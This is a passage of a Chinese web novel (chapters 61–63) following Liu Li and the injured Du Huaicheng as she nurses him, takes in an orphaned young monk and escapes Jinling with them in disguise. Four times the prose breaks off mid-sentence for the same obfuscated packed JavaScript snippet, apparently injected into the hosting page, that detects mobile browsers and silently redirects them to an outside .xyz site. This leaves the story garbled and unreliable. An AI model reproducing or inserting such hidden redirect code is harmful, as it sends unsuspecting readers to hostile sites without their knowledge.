听大夫说无事，刘梨心里大定，又不忘问起：“饮食上能加餐吗？” “还是少荤腥为好，别因为心疼自家男人，就乱做羹水给他吃，他现在虚不受补，吃不得那些。” 自家男人？杜淮琤暗暗咀嚼这几个字，觉得华大夫果然很有见地。刘梨送华璟出去，没瞧见他在背人处笑弯了嘴。 杜淮琤的血衣她放灶膛里烧了，喂过夜饭，又替他擦了脸。然后刘梨突然意识到一个问题，去院里忙活了半天，拿进来一个便壶。这个是房东留下的，她刚才仔细洗过。 杜淮琤也明白过来。 喝了一天的汤药肚子里都是水，原是想找个理由将她支开自己想办法。现在看到她手里的便壶，感觉更强烈起来。两个人都有些窘迫，还是刘梨先开口：“华大夫说你暂不要轻易挪动，你且先将就几天。” 她帮他侧过身，后背拿枕头垫好。杜淮琤看她手要往被子里摸，忙道：“这样就行，我自己来！” 再给他净手的时候多少有点尴尬。冬日里雨水少，刘梨把柴火搬到院里用油布遮好，在灶房了打了个地铺。“我就睡在隔壁，夜里有事你叫我。” 杜淮琤哪里肯麻烦他，养了两日，见他能自己撑着坐起来，刘梨决定继续出摊。 九鹿儿的戒指不到万不得已她不想动，杜淮琤的汤药不能停，后头还要进补，入冬了，炭火、厚衣裳也要准备起来。这天安顿好他，刘梨挑着担子出了门。 好些天不出摊，有相熟的食客寒暄问起，刘梨只道家里男人回来了，对方就一脸了然。许是眼热她生意，刘梨不在的时候附近多出了几个馄饨摊子，分走不少客源。加上天儿冷，这几日生意都不是太好。 刘梨没舍得早回家，等到街上没人了，才挑了担子回去。 屋里灯还亮着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026244|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她听见里面有动静，边卸担子边问：“怎么还不睡？白白费些灯油。”话音刚落，里面赌气似的刷一下吹灭灯。 第二天早上进来，杜淮琤倚着靠枕坐在床上，两眼无神不知道在想些什么。 “华大夫说你可以吃点别的了，尝尝我的手艺可还入得了二爷的眼？” “何苦拿我取笑，我早不是什么‘爷’了。” 她能觉出他情绪不好，许是在床上待得久了，心中烦闷。便支开窗户，让晨光透进来些许。开窗的时候，露出一节手腕，细细的，瘦骨嶙峋。 杜淮琤立刻生起一股酸涩。 等了她一宿，回来却只顾心疼灯油。他不该迁怒她的，自己如今废人一个，全靠她养着。但心里忍不住地担忧，担忧那些人找上门来，担忧她在外遇上危险。越是担忧越是憎恨自个儿没用，情绪无处发泄，这才犯起倔来。 有心道歉，一眼扫到铺边的馄饨，她就是靠这个养活他俩的？如今已经不好意思叫她喂了，杜淮琤自己端起碗吃起来。 “好吃，你的手艺一向很好。”他低头含糊道。 刘梨背着光，见他吃得一脸满足，心里也是复杂万分。转身不叫他看见，“我去隔壁找芸香说话，你吃好了就放着，我去去就回。” 前日刘梨买了些粗布，央芸香做件冬衣。她清楚自己的女红，没的浪费了材料。 芸香自打那天华璟提醒过后，面对刘梨多少别扭起来。她也能看出隔壁二人不一般，可是刘梨那么好，从没瞧不起她，有点好处全想到自己，以后该如何面对不由让她犯了难。 正巧刘梨过来看衣裳进度，芸香口里应着把人让了进来。 “芸香姐手可真巧，这才几天就做得了这么多。瞧瞧这针脚，我找你真是找对人了。”刘梨由衷夸赞道。 “哪有你说的那么好。”芸香被她夸的不好意思。 两人说了会话，刘梨估摸那边差不多吃好了，掏出一串钱塞到芸香手里。 “这是做什么？” “给姐姐做衣裳的工钱，可千万莫嫌少。” 芸香忙往回推，“顺手的事，怎么就收你钱了？”刘梨按住她，“芸香姐务必收下，你平时对我照应颇多，阿梨一直不能回报姐姐和华大夫，心中不安。眼下天气愈发冷起来，这点钱就当给家里添些炭火，也是我一点心意。”刘梨言辞真切，芸香心里感动，华璟的话被她远远丢在脑后。 刘梨还是用到了戒指。 她并不回避杜淮琤，将金戒指从砖缝里起了出来。用剪子铰成小片，拿了一片仔细塞到荷包里。其余的包好，郑重交给杜淮琤。 “这些就是咱们的所有家底，你替我收好。”往日这点金子杜淮琤何曾放在眼里，可她说“咱们的”，不由得表情凝重，接过来贴身收好。 刘梨拿钱置了床厚被褥，买了点白炭，绕远去药铺抓好杜淮琤后面要用的药，又找邢二买了猪血、筒骨给他补身，一圈下来钱没剩下多少，竟是一个子儿没花在自己身上。 61. 六十一 槐米微寒 “幸好赶在降温前做得了。”刘梨把新衣裳印在杜淮琤身上比了比，“好像肥了点，不过等你养好了应该正合适。” 她一脸的欢喜，惹得杜淮琤也高兴起来，笑道：“阿梨，你对我真好。” 她有些不自在，“做丫头的，不就是这样吗？” 他急忙握住她否认，“不、不，你不是丫头奴婢，你是我很重要的人！” 刘梨抽回手，杜淮琤脸上讪讪的，又补了句，“就像家人，和修齐、程锏一样的。” 她视线停留在他脸上，杜淮琤先败下阵来。“我如今落魄潦倒，并没有牵连拖累你的意思。” 她知道他误会了，家人吗？“我自来孤苦无依，家里人没了，万幸干爹干娘疼我，却又无法膝下承欢。现在你说当我是家人，我很高兴。” 他欣喜起来，又有说不上的失落。抛出那个一直想问的问题：“那你和他…你们的亲事还作数吗？” 刘梨埋头收起衣服，“都过去了。” 听到答案，并没有想象的高兴。他宁愿她是简单顺遂的，不要有这么多波折，哪怕对方是伍子骥，只要能让她平安喜乐，杜淮琤都能真心实意送上祝福。 可是伍子骥，他辜负了她。 明珠暗投，他恨透了伍子骥，也嫉妒得发狂。刘梨的声音把他从沉思里唤回。“我晚上出去，汤婆子你先用着，等我回来再给你换热水。” “这么冷的天就别出去了。”窗外天气阴寒，估摸要下霰子。 “不妨事，我早点回来。你先睡，不用等我。”这两句好像在安抚自家男人，杜淮琤听了格外熨帖。 夜里头院门轻响，他听到刘梨担子前细碎的铃声进了院。刘梨收摊后会把铃铛用布裹住，隔着风声他还是听出了她。上次说过后他就不再留灯耗油，黑暗里睁着眼睛，等她和往常一样，纤手摸进被子给他换了热腾腾的汤婆子来。 然而等到炭火衰微，她都没有过来。 第二天天色大亮，还是一点动静都没有。杜淮琤撑坐起来，大声喊道：“阿梨，阿梨！” 没有回应。 感知到事情不妙，杜淮琤赶紧下了床。动作太大，伤口应该是又崩开了。顾不得那些，这么多天他第一次离开这个房间。院子很小，只有隔壁还有间屋子。房门虚掩着，进门的时候就看见地上蜷缩着一个小小的人影。 他不知道刘梨一直住在这里，屋里冰窖一样，她的身上也没有一丝暖气儿。 轻声唤她的名字，杜淮琤像搂着一片易碎的琉璃。刘梨青白的一张小脸，毫无回应。他的面颊贴着她的，似乎这样便能将温暖渡给她。冷风灌进来，不耐烦地摔打着门。杜淮琤这才回了神，将她打横抱起回了房。 刘梨觉得自己好像在水里，冰冷刺骨。她不知道向谁求救，隔着水岸有一些模糊的影子，像是前世的家人，他们躁动不安，却冲不破看不见的隔膜；她游不过去，只能由着冰水浸没过她，无法呼吸。身旁多出一双靴子，把她从水里捞起。刘梨紧紧攀住靴子的主人，抬头向上望去，伍子骥！他的脸突然变得阴白，狞笑着将她一把摔下！ 刘梨一个颤栗，从噩梦里醒了过来。 “醒了？”身边是杜淮琤，正给她擦去额头的汗。 “华大夫说发了汗就好了，这药甚好，待会我再去给你煎一碗。” 刘梨嗓子里像吞了刀片，缓了缓才道：“你怎么出去了？别叫外人看见你。” “没事，我去旁边叫了芸香，她把华大夫找来的。”醒来第一件事还是惦念他别暴露了行踪，杜淮琤心里颇不是滋味。“我不知道，不知道你一直睡在那里，这么冷的天气……”他恨透了自己。 “与你无关，是我自己身子不争气。恁得娇贵起来。”她安抚他。 “姑娘家就是要娇养。”杜淮琤对她立誓，“等你好了，我一定把你养娇贵了，再不吃一丁点苦。” 刘梨笑起来，高兴道：“好。” 屋外风雪呼号，前路充满未知，却也满载希望。 饭食是芸香做好送来的，杜淮琤看着刘梨吃完才收到厨下洗干净，稍晚再将药煎好端来。 华璟的药刘梨是知道的，光闻着就一股浓重的苦味。她苦着脸，试探道：“我已经好多了，这药不喝了吧？” “平常你怎么劝我喝药的？你不喝，我还有别的手段。”杜淮琤盯着刘梨的眼，跃跃欲试。 长痛不如短痛，刘梨端过碗去，一饮而下。杜淮琤脸上隐隐失落，不等她辨出味道，嘴里被塞了个蜜饯果子，酸酸甜甜，稍稍盖过点苦涩。 “跟芸香拿的。”他故作镇定，转身收拾东西。 芸香不爱吃这些黏糊的，刘梨不戳穿他，“你在收拾什么？” “晚上我睡隔壁去。” “不行！”不给他反驳的机会，“叫芸香、华大夫瞧出来了反而不好。” 杜淮琤迟滞一下，“行，我就睡在这里。” 炭盆里闪着微弱的光亮，不时发出“噼啪”一声。杜淮琤隔着炭火，望向床上，“阿梨，你冷吗？” 床上的人背着他，声音埋在被窝里闷闷的：“不冷。”然后也学着他问道：“杜淮琤，你冷吗？” 他无声笑了，“不冷。” 刘梨躺了两天，不顾杜淮琤劝阻，准备早点开摊。她去东市买回猪肉菜蔬，眼看就要到家，碰上了附近肉铺的鲁大头。 鲁大头的婆娘一早就和他抱怨生意冷清，怨他没出息，把陈年的旧事都翻起来，骂个没完。鲁大头心里不耐烦，出门瞎溜达，抬眼看到刘梨拎着一提生肉经过，生起股子邪火，拔腿就跟了上去。 “我说不见娘子这些天来我铺子里光顾，原来是找了新的卖家，这是打哪儿弄来的肉啊？”他涎着脸问。 刘梨嫌他做生意奸猾，不想搭理他，敷衍了几句就要绕开。鲁大头气不打一处来，家里的见天骂他，这柔柔弱弱的小娘子也不把他放在眼里，心里发狠，嘴上骂道：“怎么不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035755|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答？别是哪个相好的暗地里送的吧？” 他嗓门大，立刻惹来路人注目。刘梨无意和他掰扯，疾步往家赶，不想鲁大头追了上来，嘴里不干不净的，“既能和别人相好，怎么就不能跟我？小娘子把你鲁爷伺候高兴咯，我包你有吃不完的猪肉。”说着就要上来动手。 刘梨倚着家门，挥开他的爪子。芸香家上着锁，这边动静不小，不少邻居围过来看热闹，只是没人上前帮助。 拉扯间，忽然院子里响起一声骂，“妈了个巴子，叫你去弄两个下酒菜，这么晚才回！老子在外头辛苦跑船，回了家还使唤不动你这小娘皮，他娘的早晚拆了你的懒骨头！”说完，不知什么东西砸到院门上，发出一声巨响。 平日只见到小娘子独进独出，街坊里还不知道这院里住进了男人，听口气像是这户当家的，不是个友善人。刚才围观的人立刻就有劝鲁大头快走的。姓鲁的也不是个硬气的东西，不过是瞧刘梨一个女人家好欺负，听屋里男人的声音中气十足，也不想招惹，顺着台阶就跑了。 刘梨开了半扇门，挡住外头窥探的目光挤进门内。地上倒了一只破凳子，已经散了架。杜淮琤抚着心口，一脸担忧地看着她。 刘梨扔下东西，扯开他衣襟确认伤口没事后，才拉着杜淮琤进了屋。 “我自己能应付，何苦暴露自己？” 杜淮琤瞋目切齿，咬着牙道：“那泼才哪家的？日后我定当扒了他的皮！” “上不得台面的东西罢了，不值当为他生气。” 杜淮琤握住她的手，心里恨自己没用。“以后你出去，我都跟着。” 这次刘梨没有抽开，点点头。 “你放心，我绝不暴露身份。”他食指试探地勾勾刘梨脸颊，“你也弄点这个给我抹上。” 刘梨拂过他碰到的地方，“这是槐米染的。采春天未打开的槐花花苞炮制后储藏，煮过的水就是黄黄的。” “想不到你还会易容之法。”她总是叫他有意外之喜。 “哪里就易容了？还是小时候爬树摘花，花汁子留在手上洗不掉才发现的。”杜淮琤向来只知她隐忍坚毅，想象不到她淘气的样子，“你还有攀高爬低的时候呢？” “槐米可以入药，采来贴补家用。” 杜淮琤心疼她，暗道以后断不让她再受生计奔波之苦。 只是现下还得靠刘梨养家。第二日两人乔装妥当，杜淮琤执意挑担，陪着她出摊。 因为天冷，秦淮河舫几乎都匿了踪迹。二人找个背风的地方，支起摊来。 今日收益不错，有食客打了丰厚的赏。杜淮琤看刘梨喜滋滋地收好赏钱，心里不是滋味。以前自己才是打赏的爷，哪会想到他日落到这般境地？一沉一浮会有时，富贵无常梦一场。 他眼神僵直，情态怪异。有相熟的食客暗暗打听，刘梨只说是自己当家的，夜里喝多了还没醒神。 “这大冷天还跟着出来，也是真心疼媳妇。”对方赞道。 62. 六十二 息恶行慈 白雪覆城，只露出一层层青黑的檐角，像用墨色构建的缥缈玄境。高台城郭白茫茫真干净，大雪让金陵换了模样，值如九霄外仙阙一般。 城阙下寥寥几个行人，把雪地踩出一行行泥泞。 没有食客，刘梨靠在小灶旁焐手，心想要不要给她的小摊增加些新品类。冬日里寒冷，做点甜羹热汤，姑娘们应该爱吃。品种得计划好，不能太多，她不想因为种类繁杂占据了太多预算。 平桥那头走来一大一小两个人，互相搀扶着，深一脚浅一脚过了桥。靠近了，才看出是两位身着百衲衣的出家人。 小的不过七八岁的年纪，一脸担忧地看着长者，“师父，要不要歇会儿？” 老和尚脸色不大好，撑着徒弟摇摇头，“趁天明再走几家，好化些斋饭。” 刘梨听见了没多想，叫住师徒二人，“大师父，我这儿有现成的面，您坐会子，我给您包碗素馅儿的。” 出家人念了声佛，并不推辞，谢过刘梨到一旁檐下坐等。 刘梨手上翻飞，很快端出一碗，皮薄大馅，点上香油馋得小沙弥直咽口水。刘梨叮嘱他小心烫，小和沙弥谢了，不忘先端给师父吃。二人推让了一回，刘梨从旁道：“大师父先吃吧，锅里还煮着呢，我这高汤也是素的，您放心吃。” 果然又盛出一碗给小的。小沙弥圆圆脑袋黑白分明的眼，还是个孩子呢。小孩儿脸颊冻得通红，吃到底下的时候，捞到一个荷包蛋，白白滑嫩的蛋皮儿，混在馄饨里真不大看得出来。 小沙弥愣愣看向刘梨，后者做了个噤声的动作，忙整个儿塞进嘴里。 杜淮琤在后面看得分明，“你也不怕坏了他的修行。” 刘梨打着手势叫他闭嘴，压低声音道：“不过是个小沙弥，尚未接受具足戒，可怜见的，吃个鸡蛋有什么打紧。” 因怕老和尚听见，她压低身子几乎耳语。女子吐气如兰，呵在耳旁痒痒的。杜淮琤盯住她嫣红的唇瓣，鬼使神差道：“姐姐也可怜可怜我。” 刘梨一整天没给他好脸子。 杜淮琤自知说错了话，一直觑着她神色，抢着干活计。下晚来了位客，戴顶破斗笠，坐下就道：“店家来碗馄饨。”杜淮琤应着就去通炉子，只听那客接着道：“要银鱼、白虾、白鱼馅的，加上刚冒头的嫩荷叶尖，再剁些新鲜的生菱角一起做得了。”杜淮琤抬起眼，那客人也从斗笠下露出半张脸，似笑非笑地望向他。 “客官说的这馅料倒不难做，不过得配着我家一撮盐、一盌饭、一楪萝卜同享，客人随我家去，再做于你吃。” 刘梨在厨房忙活，隔壁关了门，听不见动静。菜做得了，不过是几样家常的菜式，另烫了一壶酒。 她进去的时候，那两个同时闭了嘴。刘梨装作不察，摆了饭道：“粗茶淡饭，白兄弟不要嫌弃。” 热乎乎的饭菜看着就馋人，白郎喜道：“有劳了，谢谢小嫂子！”那两个同时一愣，一个脸红害臊背过身去，一个低着头嘴角压都压不住，都没想起要解释清楚。白郎没发觉怪异，只顾道：“现在吃口热乎饭真不容易，都水监撵狗一样满江河撵我们，兄弟们不得已才打散了，我也是好不容易逮着机会才进了城。”杜淮琤跟他碰了个杯，杯盏脆响，白郎这才惊觉话多，端起酒杯一口干了，咂巴嘴，回味无穷。待要再斟满，他掩住杯口，“今天酒不得尽兴，我待会就得走，喝多了怕误事。” “怎么那么急？”刘梨有些意外。 “我蹲守了几日，每天这会儿城门守备最松散。杜淮琤，渡口是绝对去不得了，只有从陆路出城。”三人各有心事吃过饭，白郎再次叮咛杜淮琤：“别过两位我就去了。该说的都说了，杜兄……” “我知道了，按咱们商议好的行事，其他我自会安排。”他拍拍白郎，这一别前路凶险，后会难期，二人不必多话，心里却分外明晰。 这天夜里特别安静。刘梨盯着窗外莹白的夜空，说不清是雪照亮了夜空，还是夜空映照了落雪。 “我要走了。” “嗯。” “你跟我走吧。” 长久的沉默。 杜淮琤索性坐起身来，把炭火拨亮。“你一个人待在金陵不是长久之计。” 对方迟迟没有应答。 “莫不是…莫不是你还想着他？” “没有。”刘梨拢着衣裳也坐起来。窗棂在她身后透出微光，映出她的剪影，像折枝的梨花一样空灵、明净。 “我没准备好。这些时日，我在金陵靠自己勉强站住脚，我有住处、有朋友，有个能养活自己的摊儿，还有…”她凄笑了一下，“抛开过往种种，我现在很满足。” 杜淮琤坐在地上仰望她，听她娓娓道来，心里变得宁和沉静。 “我这一去前路莫测，搞不好小命都得搭进去。本不该拖累你，可白郎带来消息，燕王已经起事了，宁王必不甘于后。金陵城并不安全，我不能把你丢在这儿！”黑夜里他看不清她，刘梨却瞧见了他眼里的焦灼。 “带着我可是个拖累，不如你一人行动自如。” “不会！”他连忙否认，“这段时间多亏你照拂，是我沾了你的光，你怎么会是拖累呢？”还有一句他没有说，你是我的熹微晨光，虽微弱，却满含希望。 “容我考虑考虑。” 第二天出摊的时候刘梨一直心神不宁。雪后街上行人寥寥，这么大一座城真会在不久后迎来兵燹？ 胡思乱想间，看到个熟悉的背影。 “小和尚，来碗馄饨不？”那孩子转过头，竟是一脸的泪痕。“这是怎么了？”她蹲下来给他抹掉泪水儿。 小和尚抽抽噎噎，总算勉强说出原委。“师父病了，那些大夫听说我们是行脚僧，都不肯出诊。” “你师父在哪儿？”刘梨焦急道。 “在贡院旁的庙里，这些日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059346|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子我和师父都宿在那。” 刘梨抓了把钱给杜淮琤，“我带孩子先过去，你去找华大夫，务必把人带来。”杜淮琤眼里透着不赞同，但还是接了钱离去。 近旁就是鲜亮的贡院，这个庙却等同废弃，只有师徒二人宿在一间空房里。华璟来的时候老僧已经不行了，出气多进气少。他把杜淮琤刘梨叫到外面，“就不开方子了，老师父年龄大，身子长年亏空，左右这一两个时辰的事。” 刘梨失魂落魄坐到小沙弥旁边，那孩子虽小，可是早早尝遍人间疾苦，比同龄人早慧，见她这副样子立刻明白，哭得更加悲痛欲绝。 杜淮琤亲送出华璟几步，忍不住道出心中所想：“华大夫高风玉骨，学优才赡，何苦避世绝俗把自己委屈在此间？不如施展才学，做他一番鸿业远图。” 华璟捋捋须，“千里长安名利客，轻离轻散寻常。”他站住身，定定望住杜淮琤，“兄台不也遁迹藏名在此么？” 说罢两人相视而笑。 杜淮琤看了一眼屋里，“我不日将离开金陵，先生何不随我同往，择良木而栖，建一番功业？” “我不过一介江湖郎中，何谈建功立业？何况，这里很快更需要我。”杜淮琤一愣神，不确定他是否知晓了什么。华璟敛了神色，“宁王昏聩残暴，纵容强奴欺凌弱小，我要留在金陵，看他如何覆灭身亡。至于两位的行踪，华璟断不会对外透露半字，连芸香也不会知晓。” 杜淮琤得了许诺，兼之钦佩华璟的胆识高义，与他郑重拜别。 房内，大和尚似有回光返照之相。他法号道隐，出家多年，临了只一个小徒儿在旁，令人不甚唏嘘。“吾皈依三宝，惟佛性之在缠，从上佛祖，惜未得见性真。大失莫逾亡也，而今我去，唯有一憾，如千里还家，葬我骨于停翅乡，万事毕，庆快平生。”说完，归寂而逝。 小徒弟济圆放声痛哭，刘梨搂着劝道：“莫哭，莫哭，大师离了生死苦，从此诸德圆满了。” 禅林花谢，般若舟沉。 杜淮琤寻人将道隐法师荼毗敛骨，济圆亲颂经咒，杜淮琤、刘梨拈香拜别，祈愿大师莲登上品。 当晚将济圆领回家，刘梨去隔壁找芸香将就了一夜。杜淮琤与小和尚大眼瞪小眼，捱到半夜方睡。之后连着几天，杜淮琤都没陪刘梨出摊。小和尚懂事，跟着刘梨忙前忙后，像个流浪小狗一样，生怕被丢弃了。他本就是师父捡来养大的，师父一去，他从此没了主心骨。 刘梨感知到他心意，益发可怜这孩子，谁不是一样的孤苦无依呢？ 这日收摊回来，杜淮琤已经在家里等他们。关了门，杜淮琤拉住济圆问：“小和尚，你师父的度牒可还在？” 济圆看过刘梨才回道：“我和师父是云游僧，师父圆寂后度牒一直由我收着，还没有呈缴州府。” 杜淮琤心喜，站起身与刘梨平视，“我找到出城的办法了，你考虑好了吗？” 63. 六十三 倍道兼行 像是等一个万分重要的承诺，杜淮琤提着一颗心问道：“你考虑好了吗？” 刘梨望向他，终于点点头。 戴着僧帽，身穿百衲，杜淮琤从屋里钻了出来。他面色枯黄，染了花白的须髯，乍一看还真像那么回事。几人的行李本来就不多，前一日已经收拾妥了。济圆从行囊里找出一块粗布将师父佛骨坛包好系在身上。他和刘梨说了，她去哪他就去哪。刘梨答应济圆脱了险就按道隐遗愿送佛骨回停翅乡安葬。 再次查检过屋子，确认门窗关闭好，灶膛里冷透了，刘梨才锁了门。 一行人天不亮就出发，就是避免遇上邻居。按杜淮琤的嘱咐，刘梨没有同芸香告别，路过她家门前，把钥匙系在香囊上扔进院去。香囊里头包了对并蒂莲的银耳坠，芸香应该能懂，那是刘梨祝愿她与华大夫能百年好合、修得正果。 到老东门的时候天将亮，门卒刚打开门，城门两侧候着的百姓便躁动起来。城门校尉骂骂咧咧指挥手下疏导人群，分开出城与入城的队列——出城的搜检明显比进城的更严谨。 “我们分开走。”刘梨提议。 “不行！你跟着我，我们不能分开。”杜淮琤立刻拒绝她的提议。 刘梨安抚道：“三个人目标太大，我们这样的组合很容易引起怀疑。” 她说出了自己的计划，三人分两组出城，济圆和他一起，刘梨单独出城。说好了若有人被官军扣押，其他人不要滞留，迅速离开。若有走失，到城外七里坡再聚合。杜淮琤明白她说的在理，只得答应下来，再三叮嘱她小心行事。 刘梨穿了件旧披袄排在出城的队尾，杜淮琤扶着小济圆蹲坐在茶肆旁，好像病弱休憩的样子，其实一直在暗暗关注她的动向。 队伍缓慢移动，到刘梨的时候，门候正要上前盘问，城门校尉忽然开口叫住他：“等会，这个我亲自盘查。” 刘梨包裹头巾，一副胆怯的样子。那校尉涎着脸上下打量她，“小娘子一大早着急出城，这是要去哪啊？” 杜淮琤眼见刘梨被拦住了，身子一紧，城门口的人越聚越多，他不敢轻易动作，只能忍耐静观其变。 刘梨唯唯诺诺道：“奴家回毗陵县去，还请官爷行个方便。”那校尉靠得更近，眼神淫邪，“城里出了贼人，府衙正满城抓捕呢。小娘子怀里鼓鼓囊囊的，可是藏了赃物？让官爷我摸摸看。”不等说完伸手就往女郎怀里摸去。本来是想揩个油，不想还真碰到个硬邦邦的东西。 校尉心下生疑，不顾女子告饶一把扯开她披袄，把刘梨头巾也一并扯了下来。待看清怀中物事，连连大骂“晦气”。 刘梨扶了扶鬓间的白绢花，慌乱整理好衣裳，捂着脸跑出城。身后的门候没弄清楚状况，想要追，被校尉拦住，“别管她了！一大早的真他娘晦气！”转过脸念叨：“升官发财、升官发财，各路神佛保佑老爷我升官发财。”门候瞧他这样儿立刻明白了，心里大大翻了个白眼。 杜淮琤见刘梨有惊无险，这才些微放心，由济圆扶着排到队伍末尾。几个乡民看他们是出家人，招手让他们排在前面，杜淮琤低头谢过，仍是按顺序耐心等候。 排到中段的时候，城里突然跑出一队人马。到了近前，那将官也不下马，扫视一圈城门下的百姓，挥着马鞭对城门校尉大声道：“城里跑了贼人，宁王有令，对出入人员严加盘查。尔等据守老东门，要分外警醒，不得疏忽放走贼人！” 城门校尉点头哈腰应了，待到那些人马跑出很远，才忿忿啐了一口。 杜淮琤愈发把头垂得更低，查到他们的时候，门候验过度牒并不归还。济圆是个小孩儿不足多虑，这老僧上下透着可疑。 “抬起头来。” 杜淮琤依言抬头，双手合十，双目低垂。 “官爷，我师父身体抱恙，请官爷把度牒还我们，好放我师徒二人出城。”小济圆本就是灵透的，说起话来不卑不亢。 “身体抱恙不留在城里瞧病，巴巴地出城做何？金陵城里容不下你们两个行脚僧吗？” “阿弥陀佛。”杜淮琤念了声佛，嗓音苍老低沉。“官爷莫怪，贫僧身在红尘外，沉疴宿疾多年，早已看淡生死。刚才是我徒儿小题大做了，劳烦官爷归还度牒，放我师徒二人东去。” “身在红尘外？”城门校尉心情正郁卒，踱到杜淮琤身后，“我倒要瞧瞧你怎生个红尘外！”话毕，掀开杜淮琤僧帽扔在地上。 光秃秃的头皮暴露在青灰色天空下，受到莫大的屈辱，老僧几乎站立不住，闭目直念佛陀。小徒弟含着泪，捡起僧帽掸干净了，踮起脚给师父戴上。 四周人群闹哄起来，斥责城门官对僧人不恭敬，当心得来谤僧果报。门候怕闹将起来场面失控，把度牒塞给老和尚，推着他们赶紧走。 杜淮琤心里一直记挂着刚才那股官兵，出城后步履不停，一鼓作气行至七里坡。 天寒萧瑟，放眼所及皆是一片荒凉。 路上有纷乱的马蹄印迹，却不见行人踪影。杜淮琤着了慌，四下无人，放开声呼喊刘梨名字。 “杜淮琤。” 刘梨躲在坡下，看到杜淮琤身着破旧僧衣焦急地唤她，哪里还有当初贵公子的样儿？从藏身处站起，喊了一声他的名字。 杜淮琤发现了她，肉眼可见地松懈下来。两个人一个在坡上，一个在坡下，沉默相望。 她不再是当初胆小瑟缩的样子，眉目间依然带着倔强，这种倔强使她没有被贫瘠的生活磋磨打倒，反而像苦楝一样扎下根，在苦难里依然开出花儿……这样的她让杜淮琤爱到无法自拔。 刘梨也在看他。 杜淮琤对她的情意刘梨从来是知道的，他有无数个借口可以把她绑在身边，卑劣的、冠冕堂皇的，但是他都选择了放她走。瓜洲渡口遣她离开，桃叶巷里冷言相逼，每次杜淮琤都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071330|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是违心地推开她。如果伍子骥的情是圈囿她，要她听命、顺从；那么杜淮琤的爱却是让她听凭自己，随喜自在。 刘梨一瞬间想明白了什么，锦衣华服的杜淮琤，落魄江湖的杜淮琤，重合在一起，他的心愿始终没变过，惟愿刘梨逍遥自得，过上她想要的生活。 女子面容沉静，沐浴在朝阳里，让她多出一分神性。杜淮琤轻唤刘梨，她缓缓走来，像梦境一般，温柔乖顺依偎住他，“杜淮琤，我在这里。” 杜淮琤大恸，好像失路之魂总算找到了归处，空悬的一颗心终于安定下来。 小济圆看着相拥的两人，憨憨笑出了声。二人回过神，不好意思地分开。 “从这里我们就转道向西，途经停翅乡，到徽吉与程锏、修齐会合。” 于是杜淮琤、济圆仍做师徒打扮，与刘梨日夜不处，倍道兼行。来时钿车宝马、雕梁画舫，去时草行露宿、奔走风尘。好在都是能吃苦的，三人在一起并无抱怨，很快来到停翅乡地界。 “这里我们仿佛来过。”刘梨对杜淮琤道。后者点点头，“今日天色已晚，找个安全的地方过夜，明日再过河。” 越往西北走，越多遇到流民。燕王已在北境起兵谋反，宁王打着剿贼的旗号，不日将领军北上。大庥承平多年，官僚腐朽、民心离散，终于迎来杌陧之象。 寻了个背风处，没敢点篝火。三人分食了一点干粮，挤在一块儿取暖。 小济圆被裹在两人中间，又暖和又馨香，很快打起了盹儿。 “你也闭眼休息一会，我守着呢。”杜淮琤隔着济圆说道。 刘梨从袄下伸过手，握住他的。 杜淮琤失笑，反手握住她，放在手心轻轻摩挲。她的手并不多么绵软，手心里生出薄茧，是长久操劳所致。等那只手的温度渐渐回暖，他才听见刘梨讷讷道：“我先睡，待会叫醒我换你。” 再睁眼天色已大亮，感觉到她的动静，杜淮琤看过来，眼底血丝通红。“怎么不叫我？”刘梨埋怨道。 杜淮琤笑而不语，唤起济圆继续赶路。 路遇土人打听好方向，走出一程，刘梨忽然醒悟过来，“前面是黄六娘的渡口。” 杜淮琤也认出来了，“原来此地就是停翅乡，只是近来民生凋敝，不知她还在不在渡口。” 三人找到当初的津渡，等候良久，才见一艘摇橹晃晃悠悠划来。船家照样哼着不成调的曲子，刘梨看清船头的人，招手道：“六娘！” 黄六娘将船靠岸，看僧人打扮的杜淮琤扶小娇娘上了船。刘梨看到故人，忍不住的欣喜。 